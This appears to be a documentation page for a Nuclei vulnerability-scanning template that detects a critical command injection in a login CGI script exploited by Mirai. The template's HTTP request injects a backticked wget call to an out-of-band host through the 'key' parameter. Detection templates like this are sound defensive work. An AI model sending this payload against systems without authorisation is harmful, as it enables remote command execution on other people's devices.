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Mirai - Remote Command Injection

ID: mirai-unknown-rce

Severity: critical

Author: gy741

Tags: mirai,rce,oast

Mirai is susceptible to an unknown exploit that targets the login CGI script, where a key parameter is not properly sanitized leading to a command injection vulnerability.

id: mirai-unknown-rce
info:
name: Mirai - Remote Command Injection
author: gy741
severity: critical
description: |
Mirai is susceptible to an unknown exploit that targets the login CGI script, where a key parameter is not properly sanitized leading to a command injection vulnerability.
reference:
- https://www.fortinet.com/blog/threat-research/the-ghosts-of-mirai
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cwe-id: CWE-77
metadata:
max-request: 1
tags: mirai,rce,oast
http:
- raw:
- |
POST /cgi-bin/login.cgi HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
key=';`wget http://{{interactsh-url}}`;#
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"
# digest: 490a004630440220580a8a8a49c4f1f4819366fb869d1c777e0eea324bd72ed5f8f36791634007de02205aac3286648907afeca3af36c57fa9b63de0233f8ea423794bb12fb9560cd8b9:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/other/mirai-unknown-rce.yaml"

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